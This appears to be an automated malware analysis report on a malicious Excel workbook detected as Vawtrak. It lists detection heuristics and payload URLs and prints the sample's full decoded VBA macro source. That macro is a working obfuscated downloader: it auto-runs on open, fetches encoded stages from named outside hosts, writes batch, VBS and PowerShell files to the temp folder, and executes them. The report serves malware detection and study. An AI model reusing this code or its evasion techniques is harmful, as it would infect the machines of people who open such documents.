Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6a820f026479352d…

MALICIOUS

Office (OLE)

69.0 KB Created: 2006-09-16 00:00:00 Authoring application: Microsoft Excel First seen: 2015-08-19
MD5: 8c01a5489834ad425113016c46295230 SHA-1: c23ba550381554912b103a489f6acc78a455dc45 SHA-256: 6a820f026479352dafb52273771b4ff814bae4f2ce952deb1bea23d42871517c
354 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1071.001 Web Protocols T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains VBA macros that are triggered by the Auto_Open or Workbook_Open events. These macros utilize obfuscation techniques and attempt to download a payload from multiple URLs, including http://montesinotranslation.com/wp-content/themes/Interpretingpros/papa.txt. The presence of CreateObject and Shell calls, along with the ClamAV detection of Win.Malware.Vawtrak-244, strongly indicates a malicious downloader.

Heuristics 12

  • ClamAV: Win.Malware.Vawtrak-244 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Malware.Vawtrak-244
  • VBA macros detected medium 9 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    a = Shell(b, 0)
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
        Set objXML = CreateObject(QHDHUQW)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set objXML = CreateObject(QHDHUQW)
  • Payload URL assembled from a Chr()/Asc() string expression (6 URLs) high OLE_VBA_EXPR_DROPPER_URL
    A VBA macro builds its stage-2 download URL character by character from string literals concatenated with Chr()/Asc()/StrReverse() results — often nested (Chr(Asc(Chr(Asc("h")))) = "h") and split across the + and & operators, sometimes written out via Print #n, into a second-stage VBScript/PowerShell file. The URL is assembled at run time and never appears contiguously on disk, and there is no numeric array to brute-force, so a literal scan and the array recoverers both miss it. A bounded expression evaluator resolved it; surfaced as an IOC. Self-validating: only a valid host URL that is not already present verbatim in the macro is reported, so a benign macro cannot false-positive.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Goabc = Environ(sps)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://montesinotranslation.com/wp-content/themes/Interpretingpros/papa.txt Referenced by macro
    • http://montesinotranslation.com/wp-content/themes/Interpretingpros/78672738612836.txt123123123Referenced by macro
    • http://savepic.su/5751812.jpgReferenced by macro
    • http://savepic.su/5757956.jpgReferenced by macro
    • http://myeverydaycute.com/wp-content/plugins/alpine-photo-tile-for-instagram/78672738612836.txtReferenced by macro
    • http://myeverydaycute.com/wp-content/plugins/alpine-photo-tile-for-instagram/papa.txtReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12220 bytes
SHA-256: 999891a8a52718e5e45f3df65f51287b34870a78c51a59347a47fa4b62d6186b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Dqwkdojqwiodqw_Open()
     
End Sub
Sub Ejoqiwjdioqwjdqo_Open()
     
End Sub
Sub Auto_Open()
    Djiqowjdwoiqjdqwo
End Sub
Sub Djiqowjdwoiqjdqwo()
    UQHDIQWHD = "1j2h eiuh1k2jeh21kjeh jk12g ehj12g"
    Xjqwidjowqjdq
End Sub
Sub Giqjwdhqwkjq()
    DQUHWDIWQ = "eji21h ui21he21"
End Sub

Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    NJQWBDJQKW = "j2hge h1hj1g2 hj21gje "
    Auto_Open
End Sub
 
Sub Xjqwidjowqjdq()

    
    Dim asjiw As Integer, woweffect As Integer, jwasssssdas As Integer, asdsssssjqwdq As Integer
    Dim retVal As Variant, huwe As Integer, auwd As Integer, aabbb As Integer, BLAHUWDHS As String, YYDBHWD As String
    YYDBHWD = Chr(90 + 2)
    
    
    YUGQYD = Ubqhwdhwqbd(15425) + ""
    BLAHUWDHS = Chr(84) & "em" + "p"
    QHDQUWH = YUGQYD
    FL2 = QHDQUWH
    PH2 = Module2.Goabc(BLAHUWDHS) + YYDBHWD
    
    woweffect = 9
    jwnqdw = -1
    
    JIQWDJQ = 12312312
    JIQWDJQ = 1 + 1 + 113 + Sgn(jwnqdw)
    AAAA = JIQWDJQ
    

    HYWDAX = "bajh21ejk1h21hejk12h ejk21ht"
    JWIDJIAAA = ""
    HUYFEA = "gdhjqwg hqjwgdhjqwg hjqwgdhjqwg"
    QIWJDABB = "b"
    HUYFEA = QIWJDABB + "a" + "t"
    IUQJWD = "bjgqhdhjg21jhgdhj1g jh1eg hj21ge j2h"
    PSFL = FL2 + "" & "" + "." + "p" + "" + Chr(115) + Chr(49)
    
    huwe = NUqwdqwbdsad(1 - 300 * Sin(20))
    SSS = Chr(AAAA + 2 + huwe)
    VBFL = FL2 + Chr(50 - 4) + "v" + "" + "" & "b" & "" & SSS & ""
    BAFL = FL2 + Chr(NUqwdqwbdsad(Fix(-22.043)) + 31 - 10 + 25 + huwe + 2) + HUYFEA
    
    INTG = "" & "o" & "bject"
    KIWD = Chr(110 + NUqwdqwbdsad(Len(BAFL))) + "d" + "" + "ul" + "e"
    AFTG = Chr(109) & KIWD
    
    SXEE = Chr(46)
    SXAA = Chr(101)
    SXE = SXEE & SXAA & "" & "xe"
    GNG = Chr(46) + "jpg"
    
    
    
    HUQD = Chr(30 + 16 + 1)
    ATTH = "ht" & "t" & "" & "p" & ":" & "/" & Chr(47)
    BQHJDQ = "savepic" & Chr(46) & "su" + HUQD
     
    PSPTH = PH2 + PSFL
    VBPTH = PH2 + VBFL
    BAPTH = "qhwdqwui 21u eg1ygueyg21 "
    ABPTH = PH2 + BAFL
    BAPTH = ABPTH
    JHQKWDQAASS = BQHJDQ
    
    Dim AAAAHUQW As Integer, DRT As Integer, BFT As Integer, CFT As Integer, DFT As Integer, EFT As Integer, CONT As String
    
    DRT = 315
    BFT = 316
    CFT = 317
    DFT = 318
    EFT = 319
    Dim NUWDHUQHUQWDH As String
    NUWDHUQHUQWDH = "USE" & "RPROFILE"
    Dim PBIn As String, asdwq As String, MIWDWQ As String
    
   
    
    TSTS = "." + "t" + "xt"
    CDDD = "78672738612836" + TSTS
    LNSS = "papa" + TSTS
    STT1 = "montesinotranslation.com/w" + "p-content/themes/Interpretingpros/"
    STT2 = "myeverydaycute.com/w" + "p-content/plugins/alpine-photo-tile-for-instagram/"


    PBIn = ATTH + STT1 + CDDD
    CONT = Module2.Ljqwidhqwiudhwq(PBIn)
     
    asdwq = Rasdas(CONT)
    
    HQUWDAAA = "0"
    If (asdwq <> "=") Then
        PBIn = ATTH + STT2 + CDDD
        CONT = Module2.Ljqwidhqwiudhwq(PBIn)
        asdwq = CONT
        HQUWDAAA = "1"
    End If
    
    CONT = Quqhwdbyas(asdwq)
     
    Dim ahuywdgqy As String
     
    TVT10 = Port(CONT, "t" + "ext10")
    TVT20 = Port(CONT, "text20")
    TVT21 = Port(CONT, "text21")
    TVT30 = Port(CONT, "text30")
    TVT31 = Port(CONT, "text31")
    XPT1 = Port(CONT, "stext1")
    XPT2 = Port(CONT, "stext2")
    XPT3 = Port(CONT, "stext3")
    
    
    WVR = Module2.Goabc(NUWDHUQHUQWDH)
    hufehu1 = InStr(WVR, "sers\")
    
    Dim hudhw As Integer
    Dim ghdAdd(1 To 3)
    ghdAdd(1) = "1"
    ghdAdd(2) = "0"
    ghdAdd(3) = "0"
    
    If (hufehu1 <> 0) Then
        ghdAdd(1) = "2"
    Else
        ghdAdd(2) = "3"
    End If


    JHWQUD = Join(ghdAdd)
    hudhw = Val(JHWQUD)
    
    Module2.WaitFor (1)
    
    MIWDWQ = ATTH + STT1 + LNSS
    If (HQUWDAAA = "1") Then
        MIWDWQ = ATTH + STT2 + LNSS
    End If
    
    SEXX = Module2.Ljqwidhqwiudhwq(MIWDWQ)
    
    PSTB = PBIn + "123123123"
    MSTAR1 = JHQKWDQAASS + "5751812" + GNG
    MSTAR2 = JHQKWDQAASS + "5757956" + GNG
    STAR1 = ATTH + MSTAR1
    STAR2 = ATTH + MSTAR2
    FFQ = "8"
    FF = FFQ + SXE
    
     If (hudhw = 130) Then
     Open BAPTH For Output As #DRT
     Print #DRT, XPT1
     Print #DRT, ":jadkjasghdjasg" & vbCrLf & "set trfd=" + Chr(34) + PH2 + Chr(34)
     Print #DRT, "set nmsj=" + Chr(34) + FL2 + Chr(34)
     Print #DRT, "set exds=" + Chr(34) + FFQ + Chr(34)
     Print #DRT, XPT2
     Close #DRT
     
     Module2.WaitFor (1)
     
     Open VBPTH For Output As #BFT
     Print #BFT, "strRT = " + Chr(34) + SEXX + Chr(34)
     Print #BFT, "statRT = " + Chr(34) + STAR1 + Chr(34)
     Print #BFT, "" & "jfeu" & "ygq = " + Chr(34) & "" + FF + Chr(34) & ""
     Print #BFT, "strTecation = " + Chr(34) + PH2 + Chr(34) + "+jfeuygq"
     Print #BFT, XPT3
     Close #BFT
     
     BDDT.WaitFor (1)
     NTH1 = Module3.GHJgwqdjqgw(retVal, BAPTH)
     
     End If
     
     
     HUDQG = "';"
     
     
     
      If (hudhw = 200) Then
       
     ZPQSKD = FL2
     Open PSPTH For Output As #CFT
     Print #CFT, "$nqjkwdnq = 'qiwdqwhd';"
     Print #CFT, "$ndqbwdwqs = 'jqwdnjkqwhd';"
     Print #CFT, "$stat = 'ht'+'tp://'+''+'" + MSTAR2 + "';"
     Print #CFT, "$ggtt = '" + SEXX + "';"
     Print #CFT, "$pths = '" + PH2 + HUDQG
     
     Print #CFT, "$wehs = '" + ZPQSKD + HUDQG
     Print #CFT, "$nnm = '" + FFQ + "';"
     Print #CFT, TVT10
     Close #CFT
     
     Open VBPTH For Output As #DFT
     Print #DFT, TVT30
     Print #DFT, "c" + "urrentFile = " + Chr(34) + PH2 + Chr(34) + "&" + Chr(34) + FL2 + Chr(34) + "&huih"
     Print #DFT, TVT31
     Close #DFT
    
     Open BAPTH For Output As #EFT
     Print #EFT, Chr(30 + 30 + 4) + "echo off" & vbCrLf & ":jqduqihdjsakd"
     Print #EFT, TVT20
     Print #EFT, "set Ads3=" + Chr(34) + FL2 + Chr(34)
     Print #EFT, ":nqudiiqhdjkashd"
     Print #EFT, "set Mts4=" + Chr(34) + PH2 + Chr(34)
     Print #EFT, ":nqjdkbjkbdhjqwb"
     Print #EFT, "set Rts4=" + "%Mts4%%Ads3%"
     Print #EFT, TVT21
     Close #EFT
     Module2.WaitFor (1)
     
     NTH2 = Module3.GHJgwqdjqgw(retVal, BAPTH)
     
     End If
     
    JUW = Chr(47)
    AKK = Chr(60)
    ZKK = ">"
    
End Sub


Public Function NUqwdqwbdsad(a As Integer)
NUqwdqwbdsad = Sgn(a)
End Function

Public Function Ubqhwdhwqbd(a As Integer)
Ubqhwdhwqbd = CStr(Int((a * Rnd) + 10000))
End Function


Public Function Quqhwdbyas(ByVal strData As String) As String
    Dim objXML As Object
    Dim objNode As Object
    Dim asduiwhqdqiw As Integer, nudqwd As Integer, sshquwdq As Integer
    nudqwd = Log10(100)
    asduiwhqdqiw = NUqwdqwbdsad(1 - nudqwd)
    QHDHUQW = "" & Chr(78 + asduiwhqdqiw) + "SXML2.DOMDocument"
    Set objXML = CreateObject(QHDHUQW)
    Set objNode = objXML.createElement("b6" + "4")
    objNode.DataType = "bin.b" + Chr(97) + "se6" + "4"
    objNode.Text = strData
    WUDHA = objNode.nodeTypedValue
    Quqhwdbyas = WUDHA
    Set objNode = Nothing
    Set objXML = Nothing
End Function

Public Function Port(a, b As String)
Dim krd, tent As Integer
UQWD = "" & Chr(58 + 2)
NDUW = "" & Chr(70 - 8)
krd = InStr(1, a, UQWD + b + NDUW) + 8
tent = InStr(1, a, UQWD + "/" + b + NDUW) - krd
KLMN = Mid$(a, krd, tent)
HUQHWDA = KLMN
Port = HUQHWDA
End Function

Private Static Function Rasdas(a As String)
Rasdas = Right(a, 1)
End Function


Private Static Function Log10(x)
SWOPJDQIOW = "jqhw gdhjg12hjgd21g21d"
Log10 = Log(x) / Log(10#)
End Function














Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module3"


Public Function Thwqbdhjabs(dnuwhd As String, b As String, c As Integer)
Dim selectedText As String
Dim ssjidoqwhduqhwidqwudihq As Range, lesleslesqjhdjqkwhdwq As Range
Set ssjidoqwhduqhwidqwudihq = ActiveDocument.Range
RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
With ssjidoqwhduqhwidqwudihq.Find
'RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
'RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
.Text = dnuwhd
.MatchWholeWord = True
ssjidoqwhduqhwidqwudihq.Find.Execute
ssjidoqwhduqhwidqwudihq.Collapse Direction:=wdCollapseEnd
Dim wdwq As String
Set lesleslesqjhdjqkwhdwq = ActiveDocument.Range
Dim wdsadwq As String
lesleslesqjhdjqkwhdwq.Start = ssjidoqwhduqhwidqwudihq.End
.Text = b
.MatchWholeWord = True
.Execute
RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
ssjidoqwhduqhwidqwudihq.Collapse Direction:=wdCollapseStart
lesleslesqjhdjqkwhdwq.End = ssjidoqwhduqhwidqwudihq.Start

If (c = 1) Then
    selectedText = lesleslesqjhdjqkwhdwq.Delete
End If
If (c = 2) Then
    lesleslesqjhdjqkwhdwq.Font.Color = wdColorBlack
End If

Dim hduwaa As Integer
hduwaa = 1 - 423

QHUDW = Chr(33 + Sgn(hduwaa))

If (c = 3) Then
    With ssjidoqwhduqhwidqwudihq.Find
    .Text = a
    .Replacement.Text = QHUDW
    'RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
    'RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
    'RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
    'RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
    .Wrap = wdFindContinue
    .Execute Replace:=wdReplaceAll
    End With
End If

End With
End Function

Public Function GHJgwqdjqgw(a As Variant, b)
CJQIWDJQWD = "12jekh1 hj1k2 ehj12k"
a = Shell(b, 0)
GHJgwqdjqgw = a
End Function

Public Function Moloko(a, b, c)
RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
Moloko = Mid(a, b, c)
ADBQWHJ = "hjwdk 1jkgdh1j2dg1 j"
RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
End Function















Attribute VB_Name = "Module2"

Public Function Goabc(sps As String)
BQHGDWJQW = "hqjwkhdjk12h 1gh" + "12jebmn21b enm12"
BQHGDWJQW = "hqjwkhdjk12h 1gh" + "12jebmn21b enm12"
BQHGDWJQW = "hqjwkhdjk12h 1gh" + "12jebmn21b enm12"
Goabc = Environ(sps)
End Function
Public Function Ljqwidhqwiudhwq(nbqjbdjqw As String)
Dim dhjqwqkjww As Integer, aaqjwhdq As Integer, Kjqiwdhqwuhdjqkwhdjkqwbd As Object, AHUDWQI As String
Dim ashdUHhda As String
ashdUHhda = nbqjbdjqw
'hello arcavir
'soon you will know all functions of vba, congratulations!
BQDHJQWDGWQJGS = "" & "M" & "SXML2." & "Ser" & "ver" & "X" & "MLH" & Chr(85 + Sgn(2 ^ (-2) - 1)) & Chr(84) & Chr(80)
Set Kjqiwdhqwuhdjqkwhdjkqwbd = CreateObject(BQDHJQWDGWQJGS)
Kjqiwdhqwuhdjqkwhdjkqwbd.Open "G" & "" & "" & "ET", ashdUHhda
Kjqiwdhqwuhdjqkwhdjkqwbd.Send (AHUDWQI)
'Ljqwidhqwiudhwq = Kjqiwdhqwuhdjqkwhdjkqwbd.responsetext
Ljqwidhqwiudhwq = Module1.Xjdkhjfwefw(Kjqiwdhqwuhdjqkwhdjkqwbd)
End Function
Sub WaitFor(NumOfSeconds As Long)
Dim SngSec As Long
SngSec = Timer + NumOfSeconds
Do While Timer < SngSec
DoEvents
Loop
End Sub


 














Attribute VB_Name = "Module1"



Public Function Xjdkhjfwefw(a As Object)
Xjdkhjfwefw = a.responsetext
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.